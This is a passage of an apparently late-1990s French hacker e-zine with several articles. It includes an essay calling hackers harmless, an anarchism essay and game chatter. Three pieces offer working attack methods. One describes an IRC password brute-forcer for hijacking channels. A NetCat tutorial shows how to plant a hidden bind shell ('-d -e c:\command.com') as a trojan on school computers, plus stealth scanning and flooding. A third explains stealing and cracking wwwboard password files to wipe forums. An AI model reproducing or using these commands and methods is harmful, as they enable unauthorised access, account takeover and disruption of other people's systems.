afin de trouver des failles dans leur système. Ce qui me ramère à
vous faire comprendre que les pirates ne sont pas dangereux et que
la sévurité de vos renseignements personnels nest pas mise en jeu
par eux.
De toute façon, les 80% des Canadiens qui craignent que leur vie
privée soit menacée, selon un sondage effectué en 1994 par la
maison Gallup, on des moyens qui leur permettent de garder la
confidentialité. Le Centre de rechercher en droit public ( CRDP ) de
lUniversité de Montréal a mis au point un cybertribunal. Ce moyen
consiste à régler les problèmes de lenvironnement électronique par
voie électronique. Ce qui empêche les victimes de se déplacer au
Palais de Justice et de payer des sommes gigantesques pour des
conflits informatiques. Aussi selon Mathieu-Robert Sauvé, dans Les
diplômés, plus de 30% des entreprises utilisent lencodage. Cette
méthode permet davoir un numéro didentification personnel ( NIP )
que seul lutilisateur connaît. Ce procédé est utilisé pour la plupart
des transactions financières à laide dune carte de débit. Ce qui me
permet de dire que les personnes qui ne sont pas confiantes avec les
nouveaux moyens de communicatioon qui pourraient nuire à leur vie
personnelle sont des gens qui ne font pas attention ou qui ne veulent
pas se mettre à jour avec les nouvelles technologies.
Pour conclure, je vous rappelle que la majorité des pirates
informatiques ne veulenet que dépassé des limites et quile ne
veulent pas faire de tort à qui que ce soit, et aussi quil y a plusieurs
méthodes pour se protéger des fraudeurs. Mais il y a une question
que lon devrait se poser dabord et avant tout : « Les gens qui
utilisent ces moyens sont-ils conscients du risque quils courent ? »
___________________
[Quotes of the month]\____________________________
[Space for rent... an other one in a iGA Zine. ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O7] _|_| X/W Lockpicker 2
\_________/_/ So CalleD _ ______ __ _ _
Interesting stuff for Irc kiddies _/_/ [By:__2] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Ben vous avez surement vu deja la version 2 en ALPHA/BETA sur le site
voici donc la nouvelle version qui accepte les wingates, pas besoin
de vous faire un plan detailler, c'est identique au 1 (allez voir
les precedents magazines) mais cest de 8 a 20 fois plus vite :-)
Comme tout le monde se mele dans mes programmes je vais vous expliquez
le principe et comment ca marche:
Principe: ESSAYER TOUT LES MOT-DE-PASSES POSSIBLES d'un account X/W
ou ATLAS sur undernet/infinitnet pour en trouver la cle et du meme
coup hi-jacker le canal :-]
Nouveau principe:
Avant avec le 1.0 y avait first un bug quand on depassait les 65ko
de texte dans le tableau des resultats et cetait lent = 1 essaie au 6
secondes. IRC n'a pas changer pourtant, pour pas se faire ignorer
par X/W il faut essayer de logger sur un X/W/ALTAS a moins de 1 fois au
6 secondes. Mais c'est plutot le nouveau principe:
Prenons ce user:
Talamaska (*!*baka@null.net) -l:500
Mon programme prevoit que vous serez assez brillant pour comprendre
une chose, et cela tout de suite :-) qu'arrives-til si par exemple
un seul user spam X/W/Atlas au 6 seconde, rien! Mais si y en a 2
ca va pas marcher sauf si tu change les idents.
le premier ayant baka
si le 2-eme a baka2 ce qui va arriver cest que baka2
ne concordera pas a laccess X/W/Atlas. Mais il ne sera pas ignorer.
Donc X/W/Atlas ne fait pas un check de IP ou de NICK quand il s'agit
du flood. Donc vous n'avez qu'a charger par exemple 8 users:
Toto1!~abaka@null.net
toto2!~bbaka@null.net
toto3!~cbaka@null.net
toto4!~dbaka@null.net
toto5!~ebaka@null.net
toto6!~fbaka@null.net
toto7!~gbaka@null.net
toto8!~hbaka@null.net
Si vous observez bien, ils ont tous le meme ident sauf une lettre qui
change mais ils entrent tous dan le range du user:
Talamaska (*!*baka@null.net) -l:500
Donc ca marche, chose a retenir 8 mots de passe au 6 secondes cest 8 fois
plus vites, donc 1.25 mots de passes par secondes et imaginez si vous
prenez des wingates et un bon modemcable, vous pourriez facilement grimper
a 20-30 users. Donc 3-5 pass /seconde. Ca devient interessant. Le programme
marche bien entendu avec des wordlists alors c'est assez sweet.
Comment le programme marche:
Ouvrez le programme, et allez faire un SHOW CONSOLE.
Le reste des etapes s'en vient :}
First of all:
-------------
Le password file, en bas a gauche. Vous avez deja un password.lst
changer le par votre file. Clicker sur OPEN THE WORDFILE sinon ca va
planter par la suite. C'est vraiment important de faire ca au tout
debut pour bien suivre les etapes. Le fichier password doit etre un
fichier banal de succession de mots en format texte-ascii.
Dans LockPickers Setting, vous devez setter les configurations pour CHACUN
de vos robots, il n'y a pas de generateur de nick/ident automatique. C'est
assez simple a la base. Par la suite si vous regardez l'iconne USE WINGATE
ca va vous semblez familiez aussi :-)
Je crois que ce programme va interesser les addicts du IRc du millieux alors
ca sert a rien que je vous explique ou traduise se que NICK Veut dire :-)
__2.enjoy
___________________
[Quotes of the month]\____________________________
[Vous vous rappeler Pierro, il na pas changer...
[Il mange toujours ces frities McAine ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O8] _|_| NetCat
\_________/_/ So CalleD _ ______ __ _ _
Read an you will know what it is! _/_/ [By:_rix] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
NetCat
======
TCP/UDP, sockets, ports,... On entend ca partout mais on sait pas trop comment
chipoter avec :) Ou alors il faut commencer a se casser la tete a apprendre
du C, puis a apprendre WinSock, puis a melanger les 2, puis... :)))))))))
Je vous propose cette fois-ci un petit utilitaire, tout petit, tout frais,
tout puissant, qui s'appelle NetCat.
D'abord je vous conseille d'aller tout de suite le chercher, comme ca ca sera
fait => http://www.l0pht.com/~weld/netcat/
Mais au fait, avant d'aller le chercher, j'aimerai bien savoir ce que ca fait
ce truc :)
INTRO
======
Ben voila. NetCat est un calibre utilitaire en ligne de commande, qui permet
de faire a peu pres tout ce que vous voulez avec des sockets.
Un socket, c'est une connection entre 2 ordinateurs.
Pour identifier un socket, il faut 3 trucs:
-les IPs des 2 ordinateurs connectes.
-les ports des 2 ordinateurs qui sont connectes.
-le protocole utilise.
Par exemple, quand je suis sur IRC sur #iga, mon mIRC utilise un socket
entre mon IP (ex:165.169.45.12)+un port temporaire (ex:1035) et l'IP du
serveur (antwerpen.be.eu.undernet.org)+le port du serveur (6667). Et le type
de connection est de type TCP dans ce cas-la.
Les avantages de NetCat ?
Il permet d'ouvrir facilement des connections quelconques (TCP ou UDP) sans
savoir programmer, aussi bien pour crier des petits clients/serveurs, que
pour tester un programme a vous :)
Il existe sur plusieurs systemes (Windows 95/98,NT,Linux,Unix,...)
Il est utilisable a la ligne de commande, ce qui va permettre de facilement
l'incorporer dans des scripts, etc...
Enfin, vous pouvez aussi remarquer que toutes les sources sont disponibles...
Aussi bien dans la version Unix (assez habituel ;), quand dans la version
Windows (vachement plus rare, c'est pas le style de M-------t :)
En fait, c'est vraiment un programme a tout faire... On va voir ca un peu
plus en detail ;)
NETCAT CLIENT
=============
On va donc commencer par le debut :)
Pour ouvrir un socket, rien de plus simple. Par exemple, je veux me connecter
sur IRC. Je tape ceci:
NETCAT antwerpen.be.eu.undernet.org 6667
Et je me retrouve connecte sur le serveur antwerpen ! Tout ce que vous
taperez ensuite au clavier sera envoye directemment dans le socket, vers
antwerpen.
La vous me regardez en disant "tient il connait pas mirc suila, moi je trouve
pas ca trop marrant de me connecter sur irc avec struc de fou".
NetCat est un outil a tout faire. Il permet simplement de gerer un socket.
D'envoyer... De recevoir... Pas plus... Ca veut dire qu'il ne connait aucun
protocole comme IRC,FTP,etc... Mais ca veut dire aussi qu'il nous affiche
exactemment ce qui se passe dans la connection, qu'il n'effectue aucun
traitement, et qu'il envoie aussi exactemment ce que l'on veut qu'il envoie.
Certains vont ptet se dire que Telnet de Windows fait la meme chose...
Et la... detrompez vous hehe :)
Telnet envoie pleins de saloperies a votre insu ;)))
Justemment, a propos de Telnet, NetCat vous permet d'emuler la negociation
telnet. Kessa veut dire scharabia ? Ca veut dire que NetCat vous permet
justemment d'emuler un client comme Telnet, en envoyant les saloperies dont
je parlai en plus ;)
Pour cela, pas complique:
NETCAT -t <adresse_ip_d'un_serveur_telnet> 23
Et voila... Cette fois ci, plus de problemes, toute la negociation telnet est
faite par NetCat. Et vous voyez en plus ce qu'il envoie. N'est-ce pas
merveilleux ?
NETCAT SERVEUR
==============
Maintenant qu'on a un peu chipote pour voir ce que NetCat faisait en mode
client, nous allons essayer de faire un petit serveur.
Par exemple, nous allons ouvrir sur notre machine le port 21, et faire croire
a l'imbecile qui se connecte qu'il est tombe sur un Wingate :)))
Voici la syntaxe:
NETCAT -l -p 23
-l pour dire qu'on est en mode listen (on attend une connection sur un port)
-p 23 pour dire que le port sur lequel on attend la connection est le port 23.
On lance, et puis NetCat s'arrete...
Merde vla tout est plante !!! Ohh que non :)
Maintenant, on va lancer un petit client telnet, comme le telnet de Windows,
et on se connecte sur notre IP, port 23.
Par exemple, on lance le telnet de windows, "telnet 127.0.0.1 23"
Et qu'est-ce qu'on observe ? On observe que notre client telnet se connecte
bien sur notre petit serveur...
Maintenant, on tape dans NetCat une petite phrase, et magiquement, cette
petite phrase apparait dans le client Telnet.
Tant qu'on y est, on tape une petite phrase dans le client Telnet, et...
Et ben quoi elle s'affiche pas a l'ecran notre phrase ?
Pourtant, en allant voir dans l'ecran de NetCat, le serveur a bien recu notre
tite phrase :)
Qu'est-ce que je vous disait que Telnet vous cachait des choses hein ;)
Maintenant on deconnecte le client Telnet, et voila que NetCat se coupe.
Pas tres pratique un serveur qui se coupe apres une connection...
Pour cela, il existe une autre commmande:
NETCAT -L -p 23
Cette fois-ci, le "-L" majuscule annonce a NetCat qu'il doit attendre des
connections en permanence. Voila qui est plus pratique :)
Un autre exemple:
Lancons ceci:
NETCAT -l -p 80
Puis, nous lancons Internet Esplorer sur l'adresse "http://127.0.0.1".
ensuite, on retourne vite dans NetCat, et oh ! sacrilege ! damnation !
En regardant un peu mieux les lignes que Internet Explorer envoie au serveur
web (NetCat ici), on comprend aussi un peu mieux comment il font pour savoir
tout ce qu'il y a sur notre machine, chez Microsoft ;)))
Ouaip c bien tes trucs, mais pour revenir au Wingate, si je dois chaque fois
qu'il y a une connection qui s'ouvre, taper tres vite "Wingate>" pour simuler
un Wingate, ca risque de paraitre assez louche, et de vite m'emmerder
surtout :)
Et c'est la qu'apparait le genie de NetCat... :)
REDIRECTIONS ENTREES/SORTIES
============================
Du fait qu'il est utilisable a la ligne de commande via des parametres, NetCat
va nous permettre de facilemment le programmer et l'utiliser dans des petits
scripts (aussi un batch sous Linux qu'avec un .bat sous Dos/Windows).
Nous allons donc creer un petit fichier wingate.txt, qui contient la ligne
suivante:
Wingate>
Ensuite, nous lancons la commande suivante:
NETCAT -L -p 23 < wingate.txt
Ensuite, on relance notre client Telnet.
Et la ! Magie :)
Qu'est-ce qui se passe ?
NetCat, a la place de recevoir les caracteres du clavier, va les chercher dans
notre fichier wingate.txt, et les envoie tel quels. N'est ce pas formidable ;)
Et si nous voulons logger tout ce qui est tape a notre faux Wingate ?
Ben nous lancons ceci:
NETCAT -L -p 23 > wingate.log
Et le tour est jouer :)
Maintenant encore plus fort ! hehe :)
Ouaip c'est pas mal ca, mais bon le texte dans le fichier je ne sais pas le
changer une fois que c'est lancer tout ca. Ca reste quand meme fort fictif...
Maintenant, nous allons essayer de nous programmer un petit serveur qui va
nous permettre de controler notre ordi a distance :)
NetCat permet les redirections a partir d'un fichier, en entree, et en sortie.
Mais NetCat permet aussi de rediriger les entrees et sorties d'un programme
vers un socket :)
Lancons plutot:
NETCAT -L -p 23 -e c:\command.com
Ensuite, nous lancons "Telnet 127.0.0.1 23".
Et voila que notre command.com s'affiche dans notre fenetre Telnet :)
Donc en reflechissant bien, si vous savez programmer en GWBasic (sorti en
1852 :)))), et que vous savez utiliser PRINT et INPUT, vous allez sans
probleme pouvoir creer un beau petit shell pour votre Windows ;))))
En fait, grace a cette option, si vous savez programmer un programme qui
utilise les interfaces standard d'entree/sortie (en Pascal, en C,...), vous
n'avez plus du tout a vous occuper de la programmation des sockets !!!
Il vous suffit simplement d'afficher et de saisir les donnees comme si c'etait
un programme a la ligne de commande et c'est NetCat qui s'occupe de tout gerer
via un socket.
Tient, encore une petite option interessante, mais uniquement pour Windows
celle-la (jpense que c la seule, rulez pas les linuxiens quoi ;)
Ca vous tenterait hein d'installer un beau petit shell comme ca sur un ordi
dans votre ecole hein ? hehehe. Je le voit dans vos yeux :)
Tapez un ti peu:
NETCAT -L -p 23 -d -e c:\command.com
Et voila qu'il sort tout de suite !
Lancons tout de meme Telnet, pour etre certain.
Tient tient... Voila que Telnet est connecte !!!
L'option -d detache simplement NetCat de la console, ce qui fait qu'il reste
actif en memoire (on le voit dans la liste des taches), mais pas dans la liste
des fenetres :)
Pour faire un beau pti trojan sur un ordi, suffit donc de lancer cette
commande au demarrage, et un beau serveur s'installe tranquillement sur le
port 23 sans rien montrer a personne :)
HACKING
=======
Comme NetCat est un outil a tout faire, il peut forcemment aider a faire des
choses biens... et des choses moi bien...
Comme le dit a peu pres le mec de chez L0pht qui a ecrit le programme:
"si je vous donne un tournevis, vous pouvez aussi bien reparer ma bagnole
en utilisant ce ptit outil bien sagement que la foutre en l'air en bourant
dedans comme un malade" ;))))
NetCat contient toute une serie d'option qui sont orientee scan.
Scanner c'est avant tout essayer de voir quels sont les services disponibles
sur les ports d'une machine distante.
Pour cela c'est pas complique.
En fait, il suffit de taper une serie de ports a la place d'un seul port.
Par exemple, si on tape 1-100, NetCat va ouvrir des connections sur les ports
de 1 a 100. Le probleme est que NetCat ne nous indique pas comme cela le
numero du port ouvert. Il faut donc que nous utilisions aussi l'option -v
et meme 2x, "-vv", pour avoir des informations sur les connections.
Tapons par exemple:
NETCAT -vv 127.0.0.1 1-100
Cette commande va scanner les ports 1 a 100 de votre ordinateur.
Une fois ca lance, vous allez voir que NetCat va afficher des messages
"refused" sur tout les ports qui ne sont pas ouverts, et qu'il affiche entre
() le service courant qui se trouve sur ce port (quand il y en a un
specifique). Si le port est ouvert, NetCat affiche un message "Open".
Il faut aussi remarquer que NetCat scan du haut vers le bas. Par exemple si
on entre comme ports 1-100, il va scanner 100,99,98,...,3,2,1.
Pour changer ca, il existe une petite option bien pratique, -r.
Essayer un ti peu de taper:
NETCAT -vv -r 127.0.0.1 100-110
Si vous observez attentivement, on remarque que NetCat scan maintenant les
ports completement au hasard dans l'intervall 100 a 110.
Voila qui est bien interessant ! En effet, pas mal de systeme de protections
de scan sont bases sur une detection sur des ports consecutifs :)))
NetCat n'est pas limite, on peut entrer toute une serie de ports.
Par exemple, on peut scanner de cette maniere:
NETCAT -vv -r 127.0.0.1 1-1024 4900-5000 6667
Dans ce cas, NetCat va donc scanner les ports de 1 a 1024, les ports de 4900
a 5000, et le port 6667. Cependant, il est utile de remarquer que l'option
-r ne travaille que par range, c'est a dire que NetCat va scanner tout les
ports de 1 a 1024 au hasard, puis passer au range suivant, et non pas scanner
tout les ports au hasard dans n'importe qu'elle ordre.
En fait, dans ce cas-ci, des que NetCat trouve un port ouvert, il s'arrate,
et permet d'envoyer des donnees a ce port. Pour effectuer un scan rapide, qui
ne s'arrete pas si le port est ouvert, il faut utiliser en plus le switch -z.
Par exemple:
NETCAT -vv -r -z 127.0.0.1 130-140
au niveau des ports, NetCat supporter l'envoi a plusieurs ports en parallele
(c'est ce qu'on fait pour scanner en fait ;), mais on peut aussi utiliser ca
pour flooder. Par exemple, on peut taper la commande suivante:
NETCAT 127.0.0.1 139 139 139 139 139 139 139 139 139 139
Voila je pense que c'est a peu pres tout au niveau des ports scan,etc... :)
DIVERS AUTRES TRUCS
===================
La premiere chose est que toutes les options dont j'ai parle peuvent etre
aisemment combinee, aussi bien en tant que client, qu'en mode serveur, ou
qu'en scannant.
Par exemple, on peut ouvrir une connection vers un serveur en specifiant un
port source sur le client bien precis:
NETCAT -p 65000 www.antwerpen.be.eu.undernet.org 6667
Dans ce cas-ci, par exemple, ca va permettre au client d'etre connecte avec
comme port local le port 65000, ce qui est un port tellement haut qu'il faut
deja y aller pour essayer de vous deconnecter, par exemple avec un Click
(ICMP Nuke), qui d'habitude attaque les ports d'allocations temporaires, qui
generalement sont les ports de 1024 a 5000.
NetCat possede une petite option diablement interessante ! :))
Il s'agit de l'option -u.
Cette option permet de creer des sockets UDP a la place de sockets TCP.
La chose la plus interessante est probablement de scanner des ports UDP a la
place de TCP, en utilisant les options -z et -u. En effet, il n'existe pas
beaucoup de bons scanners UDP sur le marche, mais par contre il existe pas
mal de services qui sont implementes sur des ports UDP ! (DNS,TFTP,...);)))
Il y a aussi une option de time-out, -w.
Par exemple,
NETCAT -w 5 antwerpen.be.eu.undernet.org 6667
va arreter netcat apres 5 secondes si la connection n'est pas etablie.
Il y a aussi une option -i, qui permet de specifier un delai de scan, pour
ne pas scanner trop vite (ce qui parait souvent louche, et est facilemment
reparable).
Par exemple, pour scanner en essayant le moins possible de se faire remarquer,
on peut taper la commande suivante:
NETCAT -vv -z -i 10000 -r 127.0.0.1 1-200
qui va scanner toutes les 10000 millisecondes (tt les 10 secondes) un port au
hasard sur la machine 127.0.0.1, de 1 a 200.
Une autre option tres interessante, particulierement pour debugger des
programmes ou analyser des protocoles, est l'option -o.
Par exemple, en tapant:
NETCAT -o netbios.log 127.0.0.1 139
NetCat va logger dans le fichier netbios.log toute les octets recus, mais
sous forme de dump hexadecimal, ce qui est assez pratique dans certains cas:)
Pour ceux qui connaissent TCP/IP en detail, NetCat contient aussi une option
qui permet d'envoyer des packets "source-routed", donc des packets qui sont
envoyes via des routers dont on specifie les IPs, grace aux options -g et -G.
Et enfin, NetCat supporte aussi le choix d'un IP dans le cas d'un ordinateur
relie a plusieurs interfaces d'IPs differents.
Pour terminer, si vous avez un petit probleme, n'hesitez surtout pas a taper
la commande NETCAT -h , qui affiche un resume de toutes les commandes
disponibles, puis je vous conseille aussi de lire le petit fichier .TXT
fourni avec NetCat, qui explique pas mal de petits trucs interessants a faire
avec NetCat.
___________________
[Quotes of the month]\____________________________
[Dit papa, est-ce qu' il y a du colerol dans ces
[frittes.. je le sais pas ma chouette mais le chien
[en a meme pas voulu! ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.O9] _|_| Wyze hack presto-pack
\_________/_/ So CalleD _ ______ __ _ _
muv to jail dont pass go and do not claim 200$
_/_/ [By:Wyzeman] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Dans ce text que l'on pourrait considere comme une sorte
de melting pot sur un peu tout ce qui ma passee par la tete, je
parlerais entre autre, du flood irc en telnet ( wow, IRCWAR
for leet haxor ), wwwboard, quelque truc easy a faire sur les
site web et comment modifier le look like de votre windows a main.
IRC flood
irc flood c'est facile vous allez dire, ya vous avez raison.
pas ce flooder soi meme, sa semble un peu plus compliquer pour
certain. flooder sur irc c lame, vous avez parfaitement raison,
pourquoi j'en parle? et bien bof, j'ai decouvert une nouvelle
technique l'autre jour a job ( hehe, chu payer pour developper so
called j'ai tu rien a faire a votre gout :]). C'est rien de vraiment
compliquer et je ne me souvient pas pourquoi jai trouver se bug.
1ere etape : se connecter
unix :
ouvrire un shell et taper
telnet cservice.undernet.org
apres quelque enter vous devriez avoir ceci
___ ____ ____
( ) / __) / ___)
| | ( (__ \___ \
(___) \____) (____/
This administration specifically disclaims any responsiblity or legal
liability for the content, structure and purpose of Internet Chat.
Internet Chat is an unmanaged discussion protocol, individuals are
forwarned that the content, structure and purpose are without specific
form or control. These resources are not to be used for illegal
activities.
If this is unacceptable please QUIT NOW. This server specifically
FORBIDS its indirect use to participate in illegal activities. If you
observe illegal activity, please contact the appropriate legal
authorities and the ISP of the offender immediately with collected
logs of the evidence.
Server name: services1.undernet.org
There are 37139 users on 17622 channels
Please report any problems to <support@chatsystems.com>
Nickname:
vous n'avez qua taper le nick que vous voullez, et vous voici
connecter en mode telnet au serveur cservice.undernet.org ( un
server de developpement pour irc ).
il ne vous reste plus qua faire un massive cut/paste paste paste
paste paste paste paste, tk vous comprennez le principe.
windows.
deconseiller, le mode chat en telnet nest pas tres efficace, la
technique est la meme, mais, bon, ca reste windows ( tien premiere
fois je chiale contre windows notez le bien ).
wwwboard
les anciens qui date des BBS se souviendrons surement de la
section forum, en fait, cetais la plus part du temps le coeur des
BBS ( outre les 500 meg de pic XXX ). les plus nostalgiques, on
donc installer des forum de discution un peu partout sur le web.
alors comme tout bon usager , vous allez poster un "mail" sur le
forum mais a votre grand desarois, le webmaster a pas juger bon de
conserver votre message? mais vous, vous croyez vraiment que votre
message est important, alors vous desirez le reposter tout en vous
assurant que votre message y restera? he bien cest simple, tres
simple,
trop simple meme si votre forum preferer roule sur un wwwboard 2.0
ou version precedante.
comment l'on va proceder? et bien, nous allons dans un premier lieu
aller recupere le password file. un fait maran, dans les premiere
version du wwwboard, le passwd file, n'est meme pas ecrypter,
autrement dit, c'est comme si je laissais ma porte den arriere
debarer avec une invitation particuliere a qui aimerais bien venir
me voler. Dans la version 2.0 le password est encrypter, mais bon,
quelque minute dans les mains de john the ripper, et il n'en est
plus rien. les autres version sont plutot bien encrypter alors a
moin davoir une bonne raison de vous y attarder, laisser faire.
etape 1) allez chercher le passwd files
dans un wwwboard, la passfile se trouve dans le repertoir
../wwwboard/passwd.txt par defaut, or nombre de webmaster
omette d'en changer le nom, ou ne sous totalement pas au
courant de ce hole dans leur securiter.
etape 2) quoi faire avec le fichier passwd
si comme mentionner precedament, vous tomber sur une tres vielle
version, et bien vous aurez le user/pass d'indiquer, en txt, vous
n'avez plus qua aller dans ..../cgi-bin/wwwadmin.pl pour effacer
le contenue du wwwboard, y poster votre message, et changer le
mot de pass, pour que votre message ne puisse pas etre deleter
aussi facilement que la premiere fois :]
le truc du mois :] prennons par exemple le url suivant
http://www.nowhere.com/groupe/user/info/index.html vous
verrez donc, le index.html comme dans toute page web normal.
lastuce, ces de remonter les repertoires un apres l'autre, un
peu souvent y trouvez des chose interessante auquel on ne
voudrais pas que vous ayez access.
second truc du mois: changer le http:// pour ftp:// la aussi
vous pourriez y decouvrir quelque tresors :]
mon ami windows
beaucoup de hacker, se plaise a denigrer windows et a en
rire, preferant se compliquer la vie a runner linux. Les linuxiens
se plaise a dire, que en windows on ne peu pas rien faire, que
nous somme prisonnier de notre OS, ( cest gars la devrais aller
voir sur un mac si on peu en faire autant que sous windows ).
Bref toujours est til que avec un minimum de talent vous pourrez
modifier votre windows, en le rendant un peu plus personnels.
c'est ainsi que nous allons allez jouer dans le regedit (entre
autre).
tanne de voir win95 ou win95 avec des nuages a chaque fois
que vous starter windows???
sous windows 95, il existe un fichier, dans le repertoire
racine, logo.sys, qui represente le logo de chargement de win95.
si vous netes pas sure, faite une sauvegarde du fichier dans un
autre repertoire, et changer l'extention pour .bmp il vous serat
alors possible de voir le fameux logo. pour le changer, cest
simple, vous n'avez qu'a prendre n'importe quel logo optimiser
320x200 8bit 256 couleur ( ca va etre plus beau ) et etirer le en
320x400. vous n'avez plus qua remplacer l'ancien logo.sys du
repertoire racine.
sous windows98, il n'existe pas de fichier logo.sys, mais
nimportequelle bmp renomer logo.sys possedante les
caracteristiques mentionner precedament se charchega automatique
a chaque boot de votre pc et vous n'aurez pu la jolie image de
demarage :].
ps: il est aussi possible d'effectuer le meme travaille
avec logow.sys et logos.sys qui represente vos logo de sorti de
windows, mais bon pour ma par je les vois pas jamias puisque mon
pc est ouvert 24h/24h et que je reboot a laide de ctrl-alt-del
del. pour les plus lache d'entre vous qui ne veulle pas perdre 1
heure de leur "precieux??" temps, vous pouvez toujours faire une
recherche sur altavista de logo.sys et vous trouverez bon nombre
de page qui offre des package ( some kind of theme ) pour votre
pc.
the mighty recycle bin
tanner de jetez vos d'echet dans le recycle bin ou dans
la corbeille si vous posseder un windows version francaise, et
bien vous pouvez changer son nom dans le regedit. comment faire,
et bien s'en est d'une stupiditer assomante. faite /run regedit a
partir de mirc ( he oui, on sais que vous etes toujours la :] )
ou employer la fonction run (executer??) du menu start (demarer)
et taper regedit, aller dans l'indic "edit" et descender le
curseur a find, et faite votre recherche sur recycle, il ne vous
restera plus qua changer les valeurs ( dans le coter droit ) pour
ce que vous desirez, waste par exemple. assurer vous davoir fait
le tour pour pas vous ramasser avec un mixte de recycle bin et de
waste :]
vous pouvez par la meme methode changer le nom de pas mal tout ce
qui vous vien par la tete qui existe dans windows. cependant, je
ne vous conseille pas de trop faire de changement surtout pour ce
qui a trait a explorer.exe.
je mexcuse pour la faciliter de cest petit truc, mais c desolant
de voir qu'il y a du monde qui ne les connaissent pas encore donc
jai cru bon de glisser un petit mot sur se sujet.
enjoy
Wyzeman
___________________
[Quotes of the month]\____________________________
[Hey McCaine, qu'est-ce que ta fait a mes frites?
[Bah on a juste rajouter plus de chimiques ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.1O] _|_| L'Anarchie
\_________/_/ So CalleD _ ________ __ _ _
Les acneens en puissance _/_/ [By:Gandalf] \
___________________ __________________ _________ ___/_/_ __ _ __ _ _ _,]
Peut importe la facons dont vous voyer lanarchie sachez que ce
nest pas une guerre civil ou tout le monde se tape sa yeule , le feu
est prit partout , y a des coup de gun qui sont shooter,plein de sirène
qui sonne. Ouin bon.. lanarchie nest pas une sorte de monde a la Mad
max..
Mais cest plutôt un monde sans loi ou tout le monde est a sa place
Donc pas de patron, pas de police, pas de gouvernement, pas de problème!
Imaginer que vous vous lever un matin et que lanarchie a triompher,
quesqui va avoir de changer??? RIEN! Vous aller travailler encore,
vous allez encore rouler a 100-120km Sur la route et... Mais! Une chose
va être changer! Cest la profonde place que les patrons et les
dirigeants prennais de votre vie vous naurez plus le sentiment detre
dirigé vous naurez plus la crainte de perdre votre emplois vous aller
être libre de faire se qui vous plait! Mais vous garderez quand même un
semblant de jugement. Vous ne devez pas rouler a 160km sur lauto-route
mais ou moins,Vous avez le droit de le faire, et CA! Cest déjà un bien
grand pas.
Comment en venir a lanarchie? avec les pissou et les gros bras de
notre époque cest pratiquement impossible, pourquoi? Les pissou ne
feront rien et les gros bras passeront par la violence, la violence
est une solution mais les répercutions .
Vont être a la Mad max et je ne croit pas que se sois une bonne chose..
Il nous faut des leader, des homme de coeur et de fois pas des gros
tata qui pense par la force et par la guerre du genre Foncé dans
ltas. Une guerre se planifie davance Sa se prépare etpour sa il
faut des têtes des grosse têtes. Et il faut faire Aussi la différence
entre lanarchie et la Révolution;(qui sont pour but pareil mais par
Méthode très différente)
Vous me considéré peut-être comme un anarchiste, j ai lu des tas de
livre j ai écrit plusieurs articles jai préparé des plan jai étudier
les grands hommes de révolution. Je suis dans le domaine depuis
longtemps et pourtant je ne suis pas encore un anarchiste, pourquoi!?
Je prône lanarchie soit mais c est surtout parce que JE ne peut-être
un Anarchiste mais NOUS pouvons être Anarchiste il ny a pas de JE.
Mais sachez que je ne suis pas un petit rebel qui dit être anarchiste
pour se pensé hot! Je ne suis pas non plus un petit Fuck le système
parce que lanarchie en soit est un système.. cest un système de vie
sans loi et sans violence.
regarder le dialogue qui suis
-JR Journaliste
-PD Patron
-JR Pourquoi cet homme est t il en colère?
-PD Parce que je lui est dit de travailler plus vite
-JR Combien le payer vous?
-PD 15$ par jour
-JR et ou prenez vous largent pour le payer?
-PD Je vend des produits
-JR et qui fais les produit?
-PD cet employer
-JR pour une valeurs de combien de $ fabrique t il par jour?
-PD pour 100$
-JR Ok! En résumer c est lui qui vous paye 85$ par jour pour se
faire dire de travailler plus vite.
-PD mais heu, les machines sont a moi!
-JR Et comment avez vous eu ses machine?
-PD jai vendu des produits
-JR et qui a fabriquer ses produits?
-PD heu
rentrons dans mon bureau on pourrait vous entendre.
Donc en résumer si les patron ne serai pas la vous vendriez vous même
les produits Et vous auriez largent du patron est votre propre argent..
vous travaillerez a la Vitesse que vous voulez et vous aurez la certitude
de ne pas perdre votre emplois accause
Dun patron mécontent.
Bon cest bien beau tout sa mais que deviendras les écoles;
Franchement je men fou mais évidament, les écoles auront encore une
place mais je ne pense pas quil y auras autant de cour obligatoire
se qui veut dire que si tu veut aller en informatique. Tu perdras pas
ton hostie de temps avec des chites genre Éducation physique ou Religion..
Bref lanarchie se doit de triompher parce que l Anarchi cest Vivre.
Jespère que je n est pas perdus mon temps a vous parlez de quelque chose
Daussi flou mais au moin j aurai essayer.
NO RULE ~ NO FUCK
[Gandalf]
___________________
[Quotes of the month]\____________________________
[Une quote de plus, une quote de moins peut importe
[il y en aura toujours une prochaine... ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.11] _|_| Quebecan Scene Snapshot 0389345389
\_________/_/ So CalleD _ ______ __ _ _
Civilisation resolved _/_/ [By:Qwzykx] \
___________________ __________________ _________ ______/_/_ __ _ ___ _ _,]
Ya déjà un gros 3 mois, vous pouviez assister live en simultané
stéréo shockwave ultra base boost with just a little bit of
treble set on the coche 8 on a range of 10 without forgeting
the so useless digital equalaer with servial of LED spinning
left and right. Je disais donc, après ce si lourd programme,
comme le temps passe une modification dans la suite des
événements s'impose et comme, technologie oblige, j'ai décider
d'updater / muter le classique Starcontrol 2 O'Vision. Mais
pourquoi aller chercher dans le si limpide présent quand on
peut s'obstruer la vue dans un passe encore plus gratifiant
(car vous devez faire l'effort de vous en rappeler). Et j'ai
l'honneur de vous crée : Le seul, l'unique Civilisation O'vision.
Prenons le cas d'une game typique en mode Chef(easyest).Pour le
bien et la toute vraisemblance de cet article, et comme j'ai
jouer 6h avec les Americans, ma donc prendre cette civilisation
d'on j'ai eu tout le temps de connaître leur leader Abe Lincoln.
Et comme cet article est grasieusement publier par iGA inc, je
poserais donc que ma game ou Peuple sera le zine ici présent,
que vous lisez avec tant de patience et animosité.
Alors au tout début il y avait...
Ha on commence avec un beau Setler, disons que c'est plutôt
ridicule comme fondement de la civilisation (iGA ienne!) Donc
